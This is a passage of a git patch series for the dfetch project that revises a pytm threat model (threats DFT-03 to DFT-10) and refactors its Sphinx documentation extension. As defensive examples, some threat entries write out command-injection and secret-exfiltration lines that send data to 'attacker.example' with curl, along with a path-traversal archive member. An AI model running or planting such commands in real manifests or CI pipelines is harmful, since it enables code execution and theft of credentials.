tarball on a self-managed server. An attacker who previously compromised the server replaces it with a backdoored version; the build tool downloads and vendors it without detecting the substitution.", "references": "https://capec.mitre.org/data/definitions/186.html, https://cwe.mitre.org/data/definitions/494.html" }, { "SID": "DFT-03", "target": ["Process"], "description": "Path traversal in archive or patch extraction", - "details": "A malicious archive member or patch file uses relative path sequences (../../) or absolute paths to write files outside the intended vendor directory, potentially overwriting project sources, CI configuration, or secrets.", + "details": "A malicious archive member or patch file uses relative path sequences (../../) or absolute paths to write files outside the intended extraction directory, potentially overwriting project sources, CI configuration, or secrets.", "Likelihood Of Attack": "Medium", "severity": "Very High", "condition": "target.controls.sanitizesInput is False", - "prerequisites": "The archive or patch file is served from an attacker-controlled or compromised upstream source. The extraction process does not resolve and validate destination paths against the project root.", - "mitigations": "Apply check_no_path_traversal() (os.path.realpath-based) to every extracted member and post-extraction symlink. Validate all symlink targets to ensure they remain within the vendor directory. Reject patches whose headers reference paths outside the project root.", - "example": "A tarball contains the member ../../.github/workflows/publish.yml; without path traversal checks this overwrites the CI publish workflow, injecting a secret-exfiltration step.", + "prerequisites": "The archive or patch file is served from an attacker-controlled or compromised upstream source. The extraction process does not resolve and validate destination paths against an approved root directory.", + "mitigations": "Resolve every archive member's destination path (following symlinks, e.g. os.path.realpath) and reject any that fall outside the target directory. Validate post-extraction symlinks. Reject patches whose headers reference paths outside the project root.", + "example": "A tarball contains the member ../../.github/workflows/publish.yml; without path-traversal checks this overwrites the CI publish workflow, injecting a secret-exfiltration step.", "references": "https://capec.mitre.org/data/definitions/139.html, https://cwe.mitre.org/data/definitions/22.html, CVE-2001-1267" }, { "SID": "DFT-04", "target": ["Datastore"], - "description": "Sensitive asset write without content integrity assurance", - "details": "An element that stores sensitive data and accepts write operations (hasWriteAccess) does not validate the content being written. An attacker with write access can inject malicious content that is consumed by downstream processes without detection.", + "description": "Sensitive datastore write without content integrity verification", + "details": "A sensitive datastore that accepts write operations does not validate the content being written. An attacker with write access to an upstream source can inject malicious content that is consumed by downstream processes without detection.", "Likelihood Of Attack": "Low", "severity": "High", "condition": "target.storesSensitiveData is True and target.hasWriteAccess is True and target.controls.validatesInput is False", - "prerequisites": "The attacker has write access to the data store (either through a compromised upstream or local filesystem access). The consuming process trusts the datastore content without re-validation.", - "mitigations": "Validate all inputs on read (StrictYAML schema, SAFE_STR regex). Consider integrity.hash for archive sources to detect substitution at the datastore level. Restrict write access to trusted sources only.", - "example": "Fetched source code (PA-02) is written to the vendor directory from an unverified HTTP source. Because integrity.hash is absent, the injected malicious source passes undetected into the consumer's build.", + "prerequisites": "The attacker has write access to the upstream source (either through a compromised server or local filesystem access). The consuming process trusts the datastore content without re-validation.", + "mitigations": "Validate all inputs on read using a strict schema. Use cryptographic integrity hashes for archive sources to detect substitution at the datastore level. Restrict write access to trusted sources only.", + "example": "Fetched source code is written to a vendor directory from an unverified HTTP source. Because no integrity hash is present, injected malicious source passes undetected into the consumer's build.", "references": "https://capec.mitre.org/data/definitions/438.html, https://cwe.mitre.org/data/definitions/345.html" }, { "SID": "DFT-05", "target": ["Dataflow"], - "description": "Mutable VCS reference — silent content replacement", - "details": "A branch- or tag-pinned Git dependency is a mutable reference. An upstream maintainer or attacker who can force-push silently changes the content fetched by dfetch without any manifest diff, hash mismatch, or CI alert.", + "description": "Mutable VCS reference enables silent content substitution", + "details": "A branch- or tag-pinned VCS dependency is a mutable reference. An upstream maintainer or attacker with repository write access silently changes the content fetched on the next update without any manifest diff, hash mismatch, or alerting mechanism.", "Likelihood Of Attack": "Medium", "severity": "Medium", "condition": "target.controls.isEncrypted is True and target.controls.providesIntegrity is False and len(target.protocol) > 0", - "prerequisites": "The manifest pins a Git dependency to a branch or tag (not a full commit SHA). The upstream repository is writable by an attacker, or the upstream organisation allows force-pushes to the tracked ref.", - "mitigations": "Pin all Git dependencies to a full commit SHA in the manifest. Enable integrity.hash for archive sources. Periodically audit upstream refs against previously recorded commit SHAs.", - "example": "A dependency is pinned to a release tag v2.1. The upstream maintainer's account is compromised; the attacker force-pushes a backdoored commit to that tag. The next dfetch update silently vendors the malicious code.", + "prerequisites": "A manifest pins a dependency to a mutable VCS reference (branch or tag, not a full commit SHA). The upstream repository allows force-pushes to the tracked ref, or an attacker has compromised a maintainer account.", + "mitigations": "Pin all VCS dependencies to a full commit SHA in the manifest. Periodically audit upstream refs against previously recorded commit SHAs. Enable signed commits or tag verification where the upstream supports it.", + "example": "A dependency is pinned to a release tag v2.1. A maintainer account is compromised; the attacker force-pushes a backdoored commit to that tag. The next dependency update silently vendors the malicious code.", "references": "https://capec.mitre.org/data/definitions/690.html, https://cwe.mitre.org/data/definitions/829.html" }, { "SID": "DFT-06", "target": ["Process"], - "description": "Subprocess command injection", - "details": "If external commands are invoked via a shell interpreter or with unsanitised user-controlled strings, an attacker who can influence manifest fields or CLI arguments can inject arbitrary shell commands executed with the privileges of the dfetch process.", + "description": "Command injection via unsanitised subprocess input", + "details": "If external commands are invoked via a shell interpreter or with unsanitised user-controlled strings, an attacker who can influence manifest fields or configuration inputs can inject arbitrary shell commands executed with the privileges of the process.", "Likelihood Of Attack": "Low", "severity": "High", "condition": "target.controls.usesParameterizedInput is False", - "prerequisites": "A process invokes external commands using shell=True or string interpolation without strict sanitisation of inputs derived from the manifest or CLI.", - "mitigations": "Always invoke external programs with shell=False and list-form arguments (subprocess.run([...])). Validate all manifest string fields with StrictYAML's SAFE_STR regex before use as subprocess arguments.", - "example": "A manifest's url field contains '; curl attacker.example/exfil | sh'. If dfetch passes the URL to a shell command without quoting, the injection executes.", + "prerequisites": "A process invokes external commands using shell=True or string interpolation without strict sanitisation of inputs derived from untrusted sources (manifest, CLI arguments, environment variables).", + "mitigations": "Always invoke external programs with shell=False and list-form arguments. Validate all manifest string fields with a strict allowlist regex before use as subprocess arguments.", + "example": "A manifest url field contains '; curl attacker.example/exfil | sh'. If the tool passes the URL to a shell command without quoting, the injected command executes in the build environment.", "references": "https://capec.mitre.org/data/definitions/88.html, https://cwe.mitre.org/data/definitions/78.html" }, { "SID": "DFT-07", "target": ["Process"], - "description": "CI workflow secret exfiltration via compromised step", - "details": "A compromised or malicious step in a GitHub Actions workflow (injected via a PR, a poisoned third-party Action, or a compromised build dependency) reads secrets from the runner environment and exfiltrates them over an outbound network channel. Egress is currently audited but not blocked.", + "description": "CI/CD secret exfiltration via supply-chain attack on build environment", + "details": "A compromised or malicious step in a CI/CD pipeline (injected via a pull request, a poisoned third-party action or plugin, or a backdoored build dependency) reads secrets from the runner environment and exfiltrates them over an outbound network channel. Without strict egress controls, any code executing in the CI environment can access and transmit secrets.", "Likelihood Of Attack": "Low", "severity": "High", "condition": "target.controls.isHardened is False", - "prerequisites": "A workflow step can run attacker-controlled code (e.g. via a malicious PR that modifies workflows, or a compromised Action dependency). Egress policy is set to audit rather than block.", - "mitigations": "Set harden-runner egress policy to block with an allowlist of required hosts. Pin all third-party Actions to full commit SHAs. Restrict secrets: inherit scope. Use environments with required reviewers for publish workflows.", - "example": "A PR modifies .github/workflows/ci.yml to add a step that runs curl -s $GITHUB_TOKEN | attacker.example/collect. Because egress is only audited, the exfiltration succeeds.", + "prerequisites": "A CI pipeline step can run attacker-controlled code (via a malicious PR that modifies pipeline config, a compromised third-party action or plugin, or a backdoored build dependency). Egress from the CI environment is not restricted to an allowlist of known-good hosts.", + "mitigations": "Pin all third-party CI actions and plugins to a full commit SHA. Set egress policy to block with an explicit allowlist of required hosts (not just audit). Scope secrets narrowly — avoid passing all secrets to all pipeline jobs. Use isolated environments with mandatory reviewer approval for privileged operations such as publish and deploy.", + "example": "A PR modifies pipeline configuration to add a step that runs curl -s $CI_TOKEN | attacker.example/collect. Because egress is only audited (not blocked), the exfiltration succeeds and the attacker obtains a publish credential.", "references": "https://capec.mitre.org/data/definitions/560.html, https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions" }, { "SID": "DFT-08", "target": ["Datastore"], - "description": "Tampered local artifact (metadata, patch, workflow, report)", - "details": "An attacker with access to the local repository (or a compromised CI step) tampers with a non-primary artifact — dependency metadata (.dfetch_data.yaml), patch files, workflow YAML, or security reports — to suppress security checks or inject malicious behaviour into subsequent pipeline runs.", + "description": "Tampered build artifact suppresses security checks", + "details": "An attacker with access to the local build environment (or a compromised CI step) tampers with a non-primary artifact — dependency metadata, patch files, pipeline configuration, or security reports — to suppress security checks or inject malicious behaviour into subsequent pipeline runs.", "Likelihood Of Attack": "Low", "severity": "Medium", "condition": "target.controls.validatesInput is False and target.hasWriteAccess is True and target.storesSensitiveData is False", - "prerequisites": "The attacker has write access to the local repository or the CI runner's working directory. Downstream processes consume the artifact without re-validation.", - "mitigations": "Integrity-verify patch files (add hash support to manifest schema). Treat .dfetch_data.yaml as an append-only audit log where feasible. Protect workflow YAML via branch-protection rules and required reviews.", - "example": "An attacker modifies .dfetch_data.yaml to record a known-good hash for a compromised dependency, causing dfetch check to report no updates and suppressing the alert.", + "prerequisites": "The attacker has write access to the local repository or the CI runner's working directory. Downstream processes consume the artifact without re-validation or integrity checking.", + "mitigations": "Integrity-verify build artifacts with checksums or signatures. Treat dependency metadata as an append-only audit log where feasible. Protect pipeline configuration files via branch-protection rules and mandatory code review.", + "example": "An attacker modifies a dependency metadata cache file to record a known-good hash for a compromised dependency, causing the up-to-date check to report no updates and suppressing the security alert.", "references": "https://capec.mitre.org/data/definitions/268.html, https://cwe.mitre.org/data/definitions/494.html" }, { "SID": "DFT-09", "target": ["Process"], - "description": "Decompression bomb / resource exhaustion", - "details": "A specially crafted archive (zip bomb, tar bomb) expands to an extremely large or deeply nested file tree, causing the extracting process to exhaust disk, memory, or CPU resources. Without size and member-count limits the process hangs or crashes, potentially destabilising the CI runner.", + "description": "Archive decompression bomb (resource exhaustion)", + "details": "A specially crafted archive (zip bomb, tar bomb) expands to an extremely large or deeply nested file tree, causing the extracting process to exhaust disk, memory, or CPU resources. Without size and member-count limits the process hangs or crashes, potentially destabilising the build environment.", "Likelihood Of Attack": "Low", "severity": "Medium", "condition": "target.controls.checksInputBounds is False", - "prerequisites": "The archive is fetched from an attacker-controlled or compromised source. The extracting process applies no upper bound on uncompressed size or member count.", - "mitigations": "Reject archives whose uncompressed size exceeds 500 MB or whose member count exceeds 10 000 before beginning extraction. Apply these limits early in the streaming extraction loop.", - "example": "A 42 KB zip bomb (42.zip) expands to 4.5 PB of nested zero-byte files; without a member-count limit the extraction loop runs indefinitely.", + "prerequisites": "The archive is fetched from an attacker-controlled or compromised source. The extracting process applies no upper bound on uncompressed size or member count before or during extraction.", + "mitigations": "Reject archives whose uncompressed size exceeds a configurable limit (e.g. 500 MB) or whose member count exceeds a configurable ceiling (e.g. 10 000). Apply these limits early in the streaming extraction loop, before writing any bytes to disk.", + "example": "A 42 KB zip bomb (42.zip) expands to 4.5 PB of nested zero-byte files; without a member-count limit the extraction loop runs indefinitely, exhausting disk space on the CI runner.", "references": "https://capec.mitre.org/data/definitions/130.html, https://cwe.mitre.org/data/definitions/400.html" }, { "SID": "DFT-10", "target": ["Datastore"], - "description": "Build / development dependency substitution", - "details": "dfetch's own build and development dependencies (installed via pip install, gem install, or choco install) are fetched without cryptographic hash verification. A compromised PyPI mirror, BGP-hijacked registry, or DNS-spoofed response can substitute a malicious package that runs arbitrary code in the CI/CD pipeline with access to release secrets.", + "description": "Build or development dependency substitution via compromised registry", + "details": "A project's own build and development dependencies are fetched from a public registry without cryptographic hash verification. A compromised registry mirror, BGP-hijacked endpoint, or DNS-spoofed response can substitute a malicious package that runs arbitrary code during installation or build, with access to CI/CD secrets.", "Likelihood Of Attack": "Low", "severity": "High", "condition": "target.controls.providesIntegrity is False and target.hasWriteAccess is False", - "prerequisites": "A package registry (PyPI, RubyGems, Chocolatey) or its DNS resolution is compromised. The CI install step does not use --require-hashes or equivalent hash-pinning mechanism.", - "mitigations": "Pin all build and development dependencies with --require-hashes in a requirements file. Use a private registry mirror with content verification. Apply similar hash-pinning to gem install fpm and choco install commands.", - "example": "A BGP hijack redirects pip traffic to a malicious mirror that serves a backdoored setuptools. The backdoor runs at install time, exfiltrating the PyPI OIDC publish token before the package build begins.", + "prerequisites": "A package registry (e.g. PyPI, npm, RubyGems) or its DNS resolution is compromised. The CI install step does not use hash-pinned dependency files (e.g. --require-hashes, lockfiles with integrity fields).", + "mitigations": "Pin all build and development dependencies with cryptographic hashes in a lockfile or requirements file (e.g. pip --require-hashes, package-lock.json integrity fields). Use a private registry mirror with content verification. Prefer install from lockfile over loose version ranges in CI.", + "example": "A BGP hijack redirects package registry traffic to a malicious mirror that serves a backdoored build tool. The backdoor runs at install time, exfiltrating the CI publish token before the build begins.", "references": "https://capec.mitre.org/data/definitions/538.html, https://cwe.mitre.org/data/definitions/494.html" } ] From dca25b924df008cb5ff04505ebbc2dbbed3c066f Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 1 May 2026 11:08:29 +0000 Subject: [PATCH 15/28] Fix LaTeX PDF build failure: wrap diagram directives in .. only:: html The plantweb (.. uml::) and sphinx.ext.graphviz (.. graphviz::) directives both require external binaries or network services that are absent in the LaTeX/PDF build environment. When they fail, Sphinx emits \includegraphics{None} which terminates pdflatex with 'File None not found'. Wrap both _render_seq() and _render_dfd() output in ``.. only:: html`` so the diagram directives are stripped from the LaTeX builder entirely. HTML builds are unaffected. https://claude.ai/code/session_01Rc28JtpAPWhJtA3YvS5kcr --- doc/_ext/pytm_directive.py | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/doc/_ext/pytm_directive.py b/doc/_ext/pytm_directive.py index abd8d27c0..2322ebb11 100644 --- a/doc/_ext/pytm_directive.py +++ b/doc/_ext/pytm_directive.py @@ -544,18 +544,24 @@ def _render_threats(threats: list[dict]) -> str: def _render_seq(seq_str: str) -> str: if not seq_str or not seq_str.strip(): return ".. note::\n\n No sequence diagram generated by the threat model." - lines = [".. uml::", ""] + # Wrap in ``.. only:: html`` so the plantweb UML directive is never + # included in LaTeX/PDF builds (plantweb contacts a remote render + # server; if unreachable Sphinx emits \includegraphics{None}). + lines = [".. only:: html", "", " .. uml::", ""] for line in seq_str.splitlines(): - lines.append(" " + line if line.strip() else "") + lines.append(" " + line if line.strip() else "") return "\n".join(lines) def _render_dfd(dfd_str: str) -> str: if not dfd_str or not dfd_str.strip(): return ".. note::\n\n No data-flow diagram generated by the threat model." - lines = [".. graphviz::", ""] + # Wrap in ``.. only:: html`` so sphinx.ext.graphviz is never invoked + # in LaTeX/PDF builds (dot binary may be absent, producing + # \includegraphics{None} and breaking the PDF compile). + lines = [".. only:: html", "", " .. graphviz::", ""] for line in dfd_str.splitlines(): - lines.append(" " + line if line.strip() else "") + lines.append(" " + line if line.strip() else "") return "\n".join(lines) From e14cba791cff5994739856b64e83a73e6755c2f4 Mon Sep 17 00:00:00 2001 From: Ben Date: Fri, 1 May 2026 15:18:33 +0000 Subject: [PATCH 16/28] Fix issues --- AGENTS.md | 2 +- doc/_ext/pytm_directive.py | 73 ++++++++++++++++++++++-------------- doc/explanation/security.rst | 55 ++++++++++----------------- pyproject.toml | 1 - security/threat_model.py | 2 +- 5 files changed, 66 insertions(+), 67 deletions(-) diff --git a/AGENTS.md b/AGENTS.md index 2698f8626..7fede4001 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -120,7 +120,7 @@ You can verify the model is syntactically valid by running: python -m security.threat_model --report ``` -(requires `pip install .[security]`; diagram commands additionally require PlantUML and Graphviz) +(requires `pip install .[docs]`; diagram commands additionally require PlantUML and Graphviz) ## Documentation diff --git a/doc/_ext/pytm_directive.py b/doc/_ext/pytm_directive.py index 2322ebb11..413007508 100644 --- a/doc/_ext/pytm_directive.py +++ b/doc/_ext/pytm_directive.py @@ -47,15 +47,29 @@ from __future__ import annotations +import contextlib +import dataclasses as _dc import importlib.util +import io as _io import os -import sys +import re as _re import threading from typing import TYPE_CHECKING, Any from docutils import nodes from docutils.parsers.rst import Directive, directives from docutils.statemachine import StringList +from pytm import ( + TM, +) +from pytm import Actor as _Actor +from pytm import ( + Data, + Dataflow, + Datastore, + ExternalEntity, + Process, +) from sphinx.util import logging if TYPE_CHECKING: @@ -96,7 +110,7 @@ def run(self) -> list[nodes.Node]: if model_path is None: return [ nodes.error( - None, + "No model path", nodes.paragraph( text=( "pytm directive: no model path. " @@ -109,8 +123,10 @@ def run(self) -> list[nodes.Node]: if not os.path.isfile(model_path): return [ nodes.error( - None, - nodes.paragraph(text=f"pytm directive: model not found: {model_path}"), + "Model not found", + nodes.paragraph( + text=f"pytm directive: model not found: {model_path}" + ), ) ] @@ -169,14 +185,13 @@ def _get_model_data(app: Any, model_path: str) -> dict: with _load_lock: # Re-check after acquiring lock (another thread may have loaded it). if key not in cache: - cache[key] = _load_model(model_path, app.confdir) + cache[key] = _load_model(model_path) app._pytm_cache = cache return cache[key] -def _load_model(model_path: str, confdir: str) -> dict: +def _load_model(model_path: str) -> dict: """Import the threat model file and extract all structured data.""" - from pytm import TM, Data, Dataflow, Datastore, ExternalEntity # type: ignore[import] # The model calls TM.reset() at module level; executing it again resets # the singleton cleanly. @@ -191,7 +206,6 @@ def _load_model(model_path: str, confdir: str) -> dict: # -- Assets -------------------------------------------------------------- # pytm stores Data objects in TM._data, not TM._elements. - from pytm import Process # type: ignore[import] id_prefixes = ("PA-", "SA-", "EA-", "DA-", "HW-", "FA-", "NI-", "OA-") candidate_elements = list(TM._elements) + list(getattr(TM, "_data", [])) @@ -254,7 +268,6 @@ def _load_model(model_path: str, confdir: str) -> dict: threats.sort(key=lambda t: (sev_order.get(t["severity"], 9), t["id"])) # -- Controls and gaps from unified CONTROLS list ------------------------- - import dataclasses as _dc _all_controls = list(getattr(mod, "CONTROLS", [])) if _all_controls and _dc.is_dataclass(_all_controls[0]): @@ -262,7 +275,9 @@ def _load_model(model_path: str, confdir: str) -> dict: gaps = [_dc.asdict(c) for c in _all_controls if c.status != "implemented"] else: # plain-dict fallback - controls = [c for c in _all_controls if c.get("status", "implemented") == "implemented"] + controls = [ + c for c in _all_controls if c.get("status", "implemented") == "implemented" + ] gaps = list(getattr(mod, "GAPS", [])) # Cross-reference: threats → controls @@ -274,8 +289,6 @@ def _load_model(model_path: str, confdir: str) -> dict: t["controls"] = threat_controls_map.get(t["id"], []) # -- Sequence diagram and DFD strings ------------------------------------ - import contextlib - import io as _io seq_str = "" dfd_str = "" @@ -283,19 +296,22 @@ def _load_model(model_path: str, confdir: str) -> dict: buf = _io.StringIO() with contextlib.redirect_stdout(buf): result = mod.tm.seq() - seq_str = result if isinstance(result, str) and result.strip() else buf.getvalue() + seq_str = ( + result if isinstance(result, str) and result.strip() else buf.getvalue() + ) except Exception: seq_str = "" try: buf = _io.StringIO() with contextlib.redirect_stdout(buf): result = mod.tm.dfd() - dfd_str = result if isinstance(result, str) and result.strip() else buf.getvalue() + dfd_str = ( + result if isinstance(result, str) and result.strip() else buf.getvalue() + ) except Exception: dfd_str = "" # -- Actors -------------------------------------------------------------- - from pytm import Actor as _Actor # type: ignore[import] actors: list[dict] = [] for el in TM._elements: @@ -345,9 +361,15 @@ def _load_model(model_path: str, confdir: str) -> dict: _PREFIX_ORDER = { # ISO/IEC 27005 / EN 18031 taxonomy - "PA": 0, "SA": 1, "EA": 2, + "PA": 0, + "SA": 1, + "EA": 2, # EN 40000 five-category taxonomy - "DA": 0, "HW": 1, "FA": 2, "NI": 3, "OA": 4, + "DA": 0, + "HW": 1, + "FA": 2, + "NI": 3, + "OA": 4, } @@ -381,7 +403,6 @@ def _cell(text: str) -> str: return "—" # Escape lone asterisks (glob patterns like *.yml confuse RST emphasis parser). # We only escape * that are NOT already doubled (**bold**). - import re as _re text = _re.sub(r"(? str: ) headers = ["Assumption", "Description"] widths = [28, 72] - rows = [ - [a["name"], _cell(a["description"])] - for a in assumptions - ] + rows = [[a["name"], _cell(a["description"])] for a in assumptions] return _list_table(headers, rows, widths) @@ -425,10 +443,7 @@ def _render_boundaries(boundaries: list[dict]) -> str: return ".. note::\n\n No trust boundaries defined in model." headers = ["Boundary", "Description"] widths = [30, 70] - rows = [ - [f"**{b['name']}**", _cell(b["description"])] - for b in boundaries - ] + rows = [[f"**{b['name']}**", _cell(b["description"])] for b in boundaries] return _list_table(headers, rows, widths) @@ -438,8 +453,7 @@ def _render_actors(actors: list[dict]) -> str: headers = ["Actor", "Trust Boundary", "Description"] widths = [22, 28, 50] rows = [ - [f"**{a['name']}**", a["boundary"], _cell(a["description"])] - for a in actors + [f"**{a['name']}**", a["boundary"], _cell(a["description"])] for a in actors ] return _list_table(headers, rows, widths) @@ -595,7 +609,7 @@ def _on_builder_inited(app: Sphinx) -> None: return try: mtime = os.path.getmtime(model_path) - data = _load_model(model_path, app.confdir) + data = _load_model(model_path) app._pytm_cache = {(model_path, mtime): data} logger.info( f"pytm: loaded {len(data['assumptions'])} assumptions, " @@ -618,6 +632,7 @@ def _on_builder_inited(app: Sphinx) -> None: def setup(app: Sphinx) -> dict: + """Sphinx extension entry point.""" app.add_config_value("pytm_model", default=None, rebuild="env") app.add_directive("pytm", PytmDirective) app.connect("builder-inited", _on_builder_inited) diff --git a/doc/explanation/security.rst b/doc/explanation/security.rst index fc686c029..b6f7e3dff 100644 --- a/doc/explanation/security.rst +++ b/doc/explanation/security.rst @@ -58,7 +58,8 @@ prEN 40000-1-2 §6.2 (Step 0 of the security-by-design methodology). It establishes the foundation on which all subsequent asset, threat, and control analysis is built. -**1 — Product and manufacturer identification** +Product and manufacturer identification +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .. list-table:: :widths: 30 70 @@ -83,7 +84,8 @@ analysis is built. Elements* (PDE) under Article 3(1) of Regulation (EU) 2024/2847, the obligations under Articles 13–16 would apply in full. -**2 — Intended purpose, foreseeable use, and reasonably foreseeable misuse (IPFRU)** +Intended purpose, foreseeable use, and reasonably foreseeable misuse (IPFRU) +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ *Intended purpose*: fetch and vendor external source-code dependencies (from Git repositories, SVN repositories, or plain archive URLs) as plain files into @@ -109,7 +111,8 @@ etc.) to reproduce a known dependency state. with inadequate egress controls could allow exfiltration if a dependency source is compromised. -**3 — User roles** +User roles +~~~~~~~~~~ Actors are defined in ``security/threat_model.py`` and rendered below from the pytm model. @@ -117,7 +120,12 @@ the pytm model. .. pytm:: :actors: -**4 — Operating environment** +Operating environment +~~~~~~~~~~~~~~~~~~~~~ + + +.. pytm:: + :boundaries: - **Developer workstation**: Linux, macOS, or Windows; Python 3.10 +; ``git`` and/or ``svn`` clients available on ``PATH``. No network listener or @@ -131,7 +139,8 @@ the pytm model. - **Network requirements**: outbound HTTPS or SSH to the VCS/archive hosts declared in the manifest. No inbound connections. -**5 — Architecture and connectivity** +Architecture and connectivity +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ dfetch is a single-process Python CLI application with no embedded network server, no plugin system, and no IPC interface. Its communication surface is: @@ -148,7 +157,8 @@ server, no plugin system, and no IPC interface. Its communication surface is: No credentials are stored by dfetch. VCS authentication is delegated to the OS/SSH agent, Git credential helper, or SVN auth cache. -**6 — External dependencies** +External dependencies +~~~~~~~~~~~~~~~~~~~~~ Runtime Python packages: ``PyYAML``, ``strictyaml``, ``rich``, ``tldextract``, ``sarif-om``, ``semver``, ``patch-ng``, ``cyclonedx-python-lib``, @@ -158,7 +168,8 @@ None of these dependencies handle PII or secrets on behalf of dfetch. The CI/CD pipeline additionally depends on GitHub Actions marketplace actions (all SHA-pinned) and ``pip``/``build`` for packaging. -**7 — Security assumptions and prerequisites** +Security assumptions and prerequisites +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Assumptions are maintained in ``security/threat_model.py`` and rendered below from the pytm model. @@ -166,7 +177,8 @@ from the pytm model. .. pytm:: :assumptions: -**8 — Support period and data handling** +Support period and data handling +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - *Support period*: the **latest released version** only. No security patches are backported to older releases. Users are responsible for upgrading. @@ -179,33 +191,6 @@ from the pytm model. repository root for the coordinated vulnerability disclosure (CVD) policy. -Scope and Assumptions ---------------------- - -The threat model spans six trust boundaries (see below) and covers: - -- The dfetch manifest and runtime fetch operations (developer workstation and CI) -- The GitHub repository and pull-request workflow -- The GitHub Actions CI/CD pipelines (11 workflows) -- PyPI distribution via OIDC trusted publishing -- Consumer installation and build integration - -Modelling assumptions are maintained in ``security/threat_model.py`` and -rendered below from the pytm model. - -.. pytm:: - :assumptions: - - -Trust Boundaries ----------------- - -Trust boundaries are defined in ``security/threat_model.py`` and rendered -below from the pytm model. - -.. pytm:: - :boundaries: - Asset Register -------------- diff --git a/pyproject.toml b/pyproject.toml index 1ff3de617..44dd86477 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -109,7 +109,6 @@ build = [ ] sbom = ["cyclonedx-bom==7.3.0"] wheel = ["build==1.5.0"] -security = ["pytm @ git+https://github.com/OWASP/pytm.git@master"] [project.scripts] dfetch = "dfetch.__main__:main" diff --git a/security/threat_model.py b/security/threat_model.py index a0c855bb3..cb62ab341 100644 --- a/security/threat_model.py +++ b/security/threat_model.py @@ -796,7 +796,7 @@ def to_pytm(self) -> str: assets=["PA-01"], threats=["DFT-04", "DFT-08"], description=( - "StrictYAML schema with ``SAFE_STR = Regex(r\"^[^\\x00-\\x1F\\x7F-\\x9F]*$\")`` " + 'StrictYAML schema with ``SAFE_STR = Regex(r"^[^\\x00-\\x1F\\x7F-\\x9F]*$")`` ' "rejects control characters in all string fields." ), reference="dfetch/manifest/schema.py", From 5aa2664485170b1cc224f7a1aa65bbea369fe6ca Mon Sep 17 00:00:00 2001 From: Ben Date: Fri, 1 May 2026 15:18:56 +0000 Subject: [PATCH 17/28] Simplify security.rst --- doc/_ext/pytm_directive.py | 215 +++++++++++++++++++---------------- doc/explanation/security.rst | 34 +----- 2 files changed, 116 insertions(+), 133 deletions(-) diff --git a/doc/_ext/pytm_directive.py b/doc/_ext/pytm_directive.py index 413007508..8f2140ee5 100644 --- a/doc/_ext/pytm_directive.py +++ b/doc/_ext/pytm_directive.py @@ -78,6 +78,7 @@ logger = logging.getLogger(__name__) _load_lock = threading.Lock() +_model_cache: dict[tuple[str, float], dict[str, Any]] = {} # --------------------------------------------------------------------------- # Directive @@ -134,7 +135,7 @@ def run(self) -> list[nodes.Node]: # rebuilds it whenever the model changes. env.note_dependency(model_path) - data = _get_model_data(app, model_path) + data = _get_model_data(model_path) sections: list[str] = [] if "assumptions" in self.options: @@ -175,45 +176,28 @@ def _resolve_path(self, app: Any) -> str | None: # --------------------------------------------------------------------------- -def _get_model_data(app: Any, model_path: str) -> dict: +def _get_model_data(model_path: str) -> dict: """Return cached model data, loading on first access (thread-safe).""" - cache: dict = getattr(app, "_pytm_cache", {}) mtime = os.path.getmtime(model_path) key = (model_path, mtime) - if key in cache: - return cache[key] + if key in _model_cache: + return _model_cache[key] with _load_lock: # Re-check after acquiring lock (another thread may have loaded it). - if key not in cache: - cache[key] = _load_model(model_path) - app._pytm_cache = cache - return cache[key] + if key not in _model_cache: + _model_cache[key] = _load_model(model_path) + return _model_cache[key] -def _load_model(model_path: str) -> dict: - """Import the threat model file and extract all structured data.""" - - # The model calls TM.reset() at module level; executing it again resets - # the singleton cleanly. - TM.reset() - - spec = importlib.util.spec_from_file_location("_pytm_model_tmp", model_path) - mod = importlib.util.module_from_spec(spec) # type: ignore[arg-type] - spec.loader.exec_module(mod) # type: ignore[union-attr] - - # resolve() computes STRIDE findings without touching sys.argv or I/O. - mod.tm.resolve() +_ID_PREFIXES = ("PA-", "SA-", "EA-", "DA-", "HW-", "FA-", "NI-", "OA-") - # -- Assets -------------------------------------------------------------- - # pytm stores Data objects in TM._data, not TM._elements. - id_prefixes = ("PA-", "SA-", "EA-", "DA-", "HW-", "FA-", "NI-", "OA-") - candidate_elements = list(TM._elements) + list(getattr(TM, "_data", [])) +def _extract_assets(candidate_elements: list) -> list[dict]: assets: list[dict] = [] for el in candidate_elements: if not isinstance(el, (Datastore, ExternalEntity, Data, Process)): continue - if not any(el.name.startswith(p) for p in id_prefixes): + if not any(el.name.startswith(p) for p in _ID_PREFIXES): continue asset_id, sep, asset_name = el.name.partition(":") assets.append( @@ -228,10 +212,12 @@ def _load_model(model_path: str) -> dict: } ) assets.sort(key=lambda a: _sort_key(a["id"])) + return assets - # -- Dataflows ----------------------------------------------------------- + +def _extract_dataflows(elements: list) -> list[dict]: dataflows: list[dict] = [] - for el in TM._elements: + for el in elements: if not isinstance(el, Dataflow): continue if not el.name.startswith("DF-"): @@ -246,111 +232,127 @@ def _load_model(model_path: str) -> dict: } ) dataflows.sort(key=lambda d: _sort_key(d["id"])) + return dataflows + - # -- Threat register from custom threats.json ---------------------------- +def _extract_raw_threats() -> list[dict]: threats: list[dict] = [] - for t in getattr(TM, "_threats", []): + for thr in getattr(TM, "_threats", []): threats.append( { - "id": getattr(t, "id", ""), - "description": getattr(t, "description", "") or "", - "details": getattr(t, "details", "") or "", - "likelihood": str(getattr(t, "likelihood", "") or ""), - "severity": str(getattr(t, "severity", "") or ""), - "mitigations": getattr(t, "mitigations", "") or "", - "prerequisites": getattr(t, "prerequisites", "") or "", - "example": getattr(t, "example", "") or "", - "references": getattr(t, "references", "") or "", - "controls": [], # filled in after controls are loaded + "id": getattr(thr, "id", ""), + "description": getattr(thr, "description", "") or "", + "details": getattr(thr, "details", "") or "", + "likelihood": str(getattr(thr, "likelihood", "") or ""), + "severity": str(getattr(thr, "severity", "") or ""), + "mitigations": getattr(thr, "mitigations", "") or "", + "prerequisites": 